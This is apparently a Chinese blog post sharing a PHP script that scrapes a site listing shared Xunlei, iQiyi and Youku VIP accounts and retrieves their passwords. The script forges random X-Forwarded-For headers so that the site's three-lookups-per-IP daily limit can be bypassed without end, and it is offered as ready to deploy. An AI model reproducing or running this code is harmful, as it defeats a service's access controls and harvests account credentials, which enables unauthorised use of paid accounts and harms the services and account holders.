这个是网站提供的三种会员,每个ip每天只能获取三次
所以换个ip就可以无限查看了
获取页面如下(图省事,就简单的输出了下)
下面贴代码
<?php
function get_psd($id)//伪造ip获取密码
{
$ip = rand(1, 254) . '.' . rand(1, 254) . '.' . rand(1, 254) . '.' . rand(1, 254);
$mainurl = 'http://www.zhanghao.cc/index.php?c=main&a=getpass&id=' . $id;
$opts = array('http' => array('header' => 'X-Forwarded-For:' . $ip . ''));
$context = stream_context_create($opts);
$contents = file_get_contents($mainurl, false, $context);
//echo $contents;
exit($contents);
}
$id = $_GET['id'];
if ($id != "") {
get_psd($id);
}
$ip = rand(1, 254) . '.' . rand(1, 254) . '.' . rand(1, 254) . '.' . rand(1, 254);
$url = 'http://www.zhanghao.cc/';
$opts = array('http' => array('header' => 'Cookie:' . @$cookie . ''));
$context = stream_context_create($opts);
$contents = file_get_contents($url, false, $context);
preg_match_all('/class="table1">(.*?)name="aqy">[\\s|\\S]*?class="table1">(.*?)name="yk">[\\s|\\S]*?class="table1">(.*?)"w300 b kr"/', $contents, $match);
preg_match_all('/<font color="red">(.*?)<\\/font[\\s|\\S]*?id="(.*?)" class/', $match[1][0], $xunl);
preg_match_all('/<font color="red">(.*?)<\\/font[\\s|\\S]*?id="(.*?)" class/', $match[2][0], $aiqy);
preg_match_all('/<font color="red">(.*?)<\\/font[\\s|\\S]*?id="(.*?)" class/', $match[3][0], $you);
//echo $match[1][0];
echo "迅雷会员:<br>";
for ($i = 0; $i < count($xunl[1]); $i = $i + 1) {
echo '账号:' . $xunl[1][$i] . ' id:' . $xunl[2][$i] . '<a href="/zh/?id=' . $xunl[2][$i] . '">点我查看密码</a>' . "<br>";
}
echo "爱奇艺:<br>";
for ($i = 0; $i < count($aiqy[1]); $i = $i + 1) {
echo '账号:' . $aiqy[1][$i] . ' id:' . $aiqy[2][$i] . '<a href="/zh/?id=' . $aiqy[2][$i] . '">点我查看密码</a>' . "<br>";
}
echo "优酷:<br>";
for ($i = 0; $i < count($you[1]); $i = $i + 1) {
echo '账号:' . $you[1][$i] . ' id:' . $you[2][$i] . '<a href="/zh/?id=' . $you[2][$i] . '">点我查看密码</a>' . "<br>";
}
<a href=”/zh/?id=’ 路径修改成自己的
常见问题FAQ
- 免费下载或者VIP会员专享资源能否直接商用?
- 本站所有资源版权均属于原作者所有,这里所提供资源均只能用于参考学习用,请勿直接商用。若由于商用引起版权纠纷,一切责任均由使用者承担。更多说明请参考 VIP介绍。
- 提示下载完但解压或打开不了?
- 找不到素材资源介绍文章里的示例图片?